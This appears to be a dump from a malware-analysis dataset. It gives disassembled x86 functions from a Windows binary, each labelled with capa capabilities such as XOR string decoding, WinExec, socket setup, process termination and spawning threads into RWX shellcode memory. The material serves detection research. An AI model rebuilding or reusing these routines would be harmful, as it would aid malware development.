joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a490
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10038728
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x101499e4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
movzx eax, byte [esi + 4]
push eax
push str._HCClientDisconnectRecv__Type:__d
push 0
call fcn.1000d110
movzx eax, byte [esi + 4]
add esp, 0xc
cmp eax, 0xf
ja case.default.0x1000a4df
jmp dword [eax*4 + 0x1000a714]
push 0x1388
add esi, 5
push esi
push 1
push 2
push 0x100492c0
call fcn.1000e6a0
push 0x104
push 0
push esi
call fcn.1001d760
add esp, 0x20
jmp case.0x1000a4df.0
cmp dword [0x10a6c608], 0
jne case.0x1000a4df.0
push 0x6e0f994f
lea ecx, [ebp - 0x20]
mov dword [0x10a6c608], 1
call fcn.10002f90
add esi, 5
push esi
push eax
push 0x1014aa48
call fcn.10014bf0
add esp, 0xc
push 0
push 0
push 0
push 0x1000c860
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x104
push 0
push esi
call fcn.1001d760
add esp, 0xc
jmp case.0x1000a4df.0
cmp dword [0x10a6c608], 0
jne case.0x1000a4df.0
push 0
push 0
push 0
push 0x1000c860
push 0
push 0
mov dword [0x10a6c608], 2
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x1000a4df.0
mov eax, str.Fvwiu___
lea ecx, [ebp - 0x1c]
sub eax, 0x1395533e
push eax
call fcn.10002520
mov ebx, eax
push ebx
push 1
push 2
push str._SplashScreen__SplashType:__d__TextSwitch:__d__DisplayText:__s
push 0
mov dword [ebp - 4], 0
call fcn.1000d110
mov eax, dword [0x1004906c]
add esp, 0x14
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
test eax, eax
je 0x1000a609
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x1004906c], 0
push dword [0x10049084]
call edi
mov eax, dword [0x1004919c]
test eax, eax
je 0x1000a633
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x1004919c], 0
push dword [0x100491b4]
call edi
mov eax, dword [0x100492c4]
test eax, eax
je 0x1000a65d
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x100492c4], 0
push dword [0x100492dc]
call edi
push 0x2b39c0
push ebx
push 1
push 0x808080
push dword [0x1014ab54]
mov ecx, 0x100492c0
push 2
call fcn.1000ea70
push 0
push 0
push 0x100492c0
push 0x1000e840
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [0x100492c8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x100492c8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x100492c4]
test eax, eax
je 0x1000a6e3
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x100492c4], 0
push dword [0x100492dc]
call edi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x1000ee30
jmp dword [pe_dos_header]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001a90f
mov esp, ebp
pop ebp
ret
Function at 0x1000a512
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10038728
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x101499e4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
movzx eax, byte [esi + 4]
push eax
push str._HCClientDisconnectRecv__Type:__d
push 0
call fcn.1000d110
movzx eax, byte [esi + 4]
add esp, 0xc
cmp eax, 0xf
ja case.default.0x1000a4df
jmp dword [eax*4 + 0x1000a714]
push 0x1388
add esi, 5
push esi
push 1
push 2
push 0x100492c0
call fcn.1000e6a0
push 0x104
push 0
push esi
call fcn.1001d760
add esp, 0x20
jmp case.0x1000a4df.0
cmp dword [0x10a6c608], 0
jne case.0x1000a4df.0
push 0x6e0f994f
lea ecx, [ebp - 0x20]
mov dword [0x10a6c608], 1
call fcn.10002f90
add esi, 5
push esi
push eax
push 0x1014aa48
call fcn.10014bf0
add esp, 0xc
push 0
push 0
push 0
push 0x1000c860
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x104
push 0
push esi
call fcn.1001d760
add esp, 0xc
jmp case.0x1000a4df.0
cmp dword [0x10a6c608], 0
jne case.0x1000a4df.0
push 0
push 0
push 0
push 0x1000c860
push 0
push 0
mov dword [0x10a6c608], 2
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x1000a4df.0
mov eax, str.Fvwiu___
lea ecx, [ebp - 0x1c]
sub eax, 0x1395533e
push eax
call fcn.10002520
mov ebx, eax
push ebx
push 1
push 2
push str._SplashScreen__SplashType:__d__TextSwitch:__d__DisplayText:__s
push 0
mov dword [ebp - 4], 0
call fcn.1000d110
mov eax, dword [0x1004906c]
add esp, 0x14
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
test eax, eax
je 0x1000a609
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x1004906c], 0
push dword [0x10049084]
call edi
mov eax, dword [0x1004919c]
test eax, eax
je 0x1000a633
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x1004919c], 0
push dword [0x100491b4]
call edi
mov eax, dword [0x100492c4]
test eax, eax
je 0x1000a65d
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x100492c4], 0
push dword [0x100492dc]
call edi
push 0x2b39c0
push ebx
push 1
push 0x808080
push dword [0x1014ab54]
mov ecx, 0x100492c0
push 2
call fcn.1000ea70
push 0
push 0
push 0x100492c0
push 0x1000e840
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [0x100492c8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x100492c8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x100492c4]
test eax, eax
je 0x1000a6e3
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x100492c4], 0
push dword [0x100492dc]
call edi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x1000ee30
jmp dword [pe_dos_header]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001a90f
mov esp, ebp
pop ebp
ret
Function at 0x1000a572
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10038728
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x101499e4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
movzx eax, byte [esi + 4]
push eax
push str._HCClientDisconnectRecv__Type:__d
push 0
call fcn.1000d110
movzx eax, byte [esi + 4]
add esp, 0xc
cmp eax, 0xf
ja case.default.0x1000a4df
jmp dword [eax*4 + 0x1000a714]
push 0x1388
add esi, 5
push esi
push 1
push 2
push 0x100492c0
call fcn.1000e6a0
push 0x104
push 0
push esi
call fcn.1001d760
add esp, 0x20
jmp case.0x1000a4df.0
cmp dword [0x10a6c608], 0
jne case.0x1000a4df.0
push 0x6e0f994f
lea ecx, [ebp - 0x20]
mov dword [0x10a6c608], 1
call fcn.10002f90
add esi, 5
push esi
push eax
push 0x1014aa48
call fcn.10014bf0
add esp, 0xc
push 0
push 0
push 0
push 0x1000c860
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x104
push 0
push esi
call fcn.1001d760
add esp, 0xc
jmp case.0x1000a4df.0
cmp dword [0x10a6c608], 0
jne case.0x1000a4df.0
push 0
push 0
push 0
push 0x1000c860
push 0
push 0
mov dword [0x10a6c608], 2
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x1000a4df.0
mov eax, str.Fvwiu___
lea ecx, [ebp - 0x1c]
sub eax, 0x1395533e
push eax
call fcn.10002520
mov ebx, eax
push ebx
push 1
push 2
push str._SplashScreen__SplashType:__d__TextSwitch:__d__DisplayText:__s
push 0
mov dword [ebp - 4], 0
call fcn.1000d110
mov eax, dword [0x1004906c]
add esp, 0x14
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
test eax, eax
je 0x1000a609
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x1004906c], 0
push dword [0x10049084]
call edi
mov eax, dword [0x1004919c]
test eax, eax
je 0x1000a633
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x1004919c], 0
push dword [0x100491b4]
call edi
mov eax, dword [0x100492c4]
test eax, eax
je 0x1000a65d
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x100492c4], 0
push dword [0x100492dc]
call edi
push 0x2b39c0
push ebx
push 1
push 0x808080
push dword [0x1014ab54]
mov ecx, 0x100492c0
push 2
call fcn.1000ea70
push 0
push 0
push 0x100492c0
push 0x1000e840
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [0x100492c8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x100492c8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x100492c4]
test eax, eax
je 0x1000a6e3
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x100492c4], 0
push dword [0x100492dc]
call edi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x1000ee30
jmp dword [pe_dos_header]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001a90f
mov esp, ebp
pop ebp
ret
Function at 0x1000ad10
Capabilities:
Create thread
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100387a8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x101499e4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, 0x75
xor ecx, ecx
mov al, byte [ecx + 0x1003c308]
xor al, dl
mov byte [ebp + ecx - 0x34], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x21
jb 0x1000ad41
mov byte [ebp - 0x13], 0
lea eax, [ebp - 0x34]
mov dword [ebp - 4], 0
push eax
push 1
push 2
push str._SplashScreen__SplashType:__d__TextSwitch:__d__DisplayText:__s
push 0
call fcn.1000d110
mov eax, dword [0x1004906c]
add esp, 0x14
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
test eax, eax
je 0x1000adb1
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x1004906c], 0
push dword [0x10049084]
call edi
mov eax, dword [0x1004919c]
test eax, eax
je 0x1000addb
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x1004919c], 0
push dword [0x100491b4]
call edi
mov eax, dword [0x100492c4]
test eax, eax
je 0x1000ae05
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x100492c4], 0
push dword [0x100492dc]
call edi
push 0x2b39c0
lea eax, [ebp - 0x34]
mov ecx, 0x100492c0
push eax
push 1
push 0x808080
push dword [0x1014ab54]
push 2
call fcn.1000ea70
push 0
push 0
push 0x100492c0
push 0x1000e840
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [0x100492c8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x100492c8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x100492c4]
test eax, eax
je 0x1000ae8e
push 0
push 0
push 0x10
push eax
call esi
push dword [0x1014ab54]
mov dword [0x100492c4], 0
push dword [0x100492dc]
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
call esi
push eax
call 0x1000ee30
jmp dword [pe_dos_header]

Function at 0x1000aed0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x101499e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, 0x49
xor eax, eax
nop word [eax + eax]
mov cl, byte [eax + str.:__8__8_q]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x10
jb 0x1000aef0
push 0
lea eax, [ebp - 0x18]
mov byte [ebp - 8], 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x1000ee30
jmp dword [pe_dos_header]
Function at 0x1000bf30
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x101499e4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x194]
mov esi, ecx
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1000bf6f
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001a90f
mov esp, ebp
pop ebp
ret 4
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x1000bf5c
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [esi + 8], eax
test eax, eax
je 0x1000bf5c
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dword [esi + 0x100014], eax
xor ecx, ebp
mov al, 1
pop esi
call fcn.1001a90f
mov esp, ebp
pop ebp
ret 4
Function at 0x1000c480
Capabilities:
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov edx, 0x80
xor ecx, ecx
mov dword [ebp - 4], ecx
xor eax, eax
test cl, 1
cmovne eax, edx
shr ecx, 1
test cl, 1
je 0x1000c4a6
bts eax, 6
shr ecx, 1
test cl, 1
je 0x1000c4b1
bts eax, 5
shr ecx, 1
test cl, 1
je 0x1000c4bc
bts eax, 4
shr ecx, 1
test cl, 1
je 0x1000c4c7
bts eax, 3
shr ecx, 1
test cl, 1
je 0x1000c4d2
bts eax, 2
shr ecx, 1
test cl, 1
je 0x1000c4dd
bts eax, 1
test cl, 2
je 0x1000c4e6
bts eax, 0
shl eax, 0x18
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
add eax, eax
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov ebx, ecx
and ebx, 0x80000000
neg ebx
lea eax, [ecx + ecx]
sbb ebx, ebx
and ebx, 0x4c11db7
xor ebx, eax
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [edi + eax*4], ebx
lea esi, [edi + eax*4]
lea ecx, [edx + 1]
nop
test bl, 1
je 0x1000c5bf
mov eax, 0x20
sub eax, ecx
bts edx, eax
inc ecx
shr ebx, 1
cmp ecx, 0x21
jl 0x1000c5b0
mov ecx, dword [ebp - 4]
inc ecx
mov dword [esi], edx
mov dword [ebp - 4], ecx
mov edx, 0x80
cmp ecx, 0xff
jle 0x1000c493
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000ceb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push edi
mov edi, dword [ebp + 8]
push eax
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push dword [ebp + 0xc]
push edi
call fcn.1001d1e0
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000cf80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x101499e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov dword [ebp - 0x88], eax
cmp dword [ebx + 0x18], 0
je 0x1000d0f4
push esi
push edi
lea ecx, [ebp - 0x80]
push ecx
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
mov esi, eax
lea eax, [ebp - 0x40]
push eax
push dword [ebx + 4]
mov dword [ebp - 0x84], esi
call dword [sym.imp.USER32.dll_GetClientRect]
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [ebx + 0x18]
mov edi, eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [ebx + 0x14]
mov esi, eax
push dword [ebx + 0x10]
push 0
push 0
push dword [ebp - 0x84]
call dword [sym.imp.GDI32.dll_BitBlt]
push esi
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
push edi
call esi
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [ebx + 0x20], 1
jne 0x1000d0e2
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
mov edi, dword [ebp - 0x84]
push eax
push edi
call esi
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
push dword [ebx + 0x120]
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esi, [ebx + 0x21]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000d070
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov edx, 0x3e
xor ecx, ecx
mov al, byte [ecx + str.P03__1fuxyk]
xor al, dl
mov byte [ebp + ecx - 0x30], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x29
jb 0x1000d092
lea eax, [ebp - 0x30]
mov byte [ebp - 7], 0
push eax
push esi
call fcn.10014bf0
mov ecx, esi
add esp, 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000d0c0
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0xf
push eax
mov eax, dword [ebx + 0x10]
sub eax, 0xdc
push eax
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 0x88]
call dword [sym.imp.USER32.dll_EndPaint]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1001a90f
mov esp, ebp
pop ebp
ret 4
Function at 0x1000d350
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push ebx
mov bl, byte [ebp + 0x10]
movsx eax, bl
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm1, xmm0, 0
test edx, edx
jle 0x1000d3e1
push esi
mov esi, dword [ebp + 8]
cmp edx, 0x20
jb 0x1000d3cb
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x1000d38d
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm2, xmmword [0x1003c800]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop dword [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x1000d3a0
pop edi
cmp eax, edx
jge 0x1000d3e0
nop
mov cl, byte [eax + esi]
add cl, bl
xor cl, 0xa0
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x1000d3d0
pop esi
pop ebx
pop ebp
ret

Function at 0x1000d3f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push ebx
mov bl, byte [ebp + 0x10]
movsx eax, bl
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm1, xmm0, 0
test edx, edx
jle 0x1000d481
push esi
mov esi, dword [ebp + 8]
cmp edx, 0x20
jb 0x1000d46b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x1000d42d
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm2, xmmword [0x1003c800]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop dword [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm2
psubb xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm2
psubb xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x1000d440
pop edi
cmp eax, edx
jge 0x1000d480
nop
mov cl, byte [eax + esi]
xor cl, 0xa0
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x1000d470
pop esi
pop ebx
pop ebp
ret
Function at 0x1000d490
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10038900
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x101499e4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, ecx
mov dword [ebp - 0x14], eax
mov ecx, dword [eax + 4]
or esi, 0xffffffff
mov ebx, dword [eax]
sub ecx, ebx
mov edi, dword [ebp + 8]
mov eax, 0xdd67c8a7
imul ecx
mov dword [ebp - 4], 0
add edx, ecx
mov ecx, dword [edi + 8]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, ecx
ja 0x1000d512
push str.invalid_vector_T__subscript
call fcn.10016400
mov eax, 0x1000d4fe
ret
imul edx, ecx, 0x128
add edx, ebx
mov eax, dword [edx]
cmp eax, dword [edi + 0xc]
jne 0x1000d552
lea ecx, [edi + 0x10]
lea eax, [edx + 0x24]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1000d547
test dl, dl
je 0x1000d543
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1000d547
add eax, 2
add ecx, 2
test dl, dl
jne 0x1000d527
xor eax, eax
jmp 0x1000d54c
sbb eax, eax
or eax, 1
test eax, eax
cmove esi, dword [edi + 8]
mov dword [ebp - 4], 0xffffffff
cmp esi, 0xffffffff
je 0x1000d5aa
mov ecx, dword [ebp - 0x14]
mov eax, 0xdd67c8a7
mov ecx, dword [ecx + 4]
sub ecx, ebx
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, esi
ja 0x1000d587
push str.invalid_vector_T__subscript
call fcn.10016400
imul eax, esi, 0x128
push dword [eax + ebx]
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x1000d5aa
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1000d8d0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
push 0x100
push 0x1014ad50
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 8]
push 0x100
add eax, 5
push eax
push 0x1014ad50
call fcn.1001d1e0
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 0x100
push 0x1014ad50
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push 0
push 0x1000e240
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret 4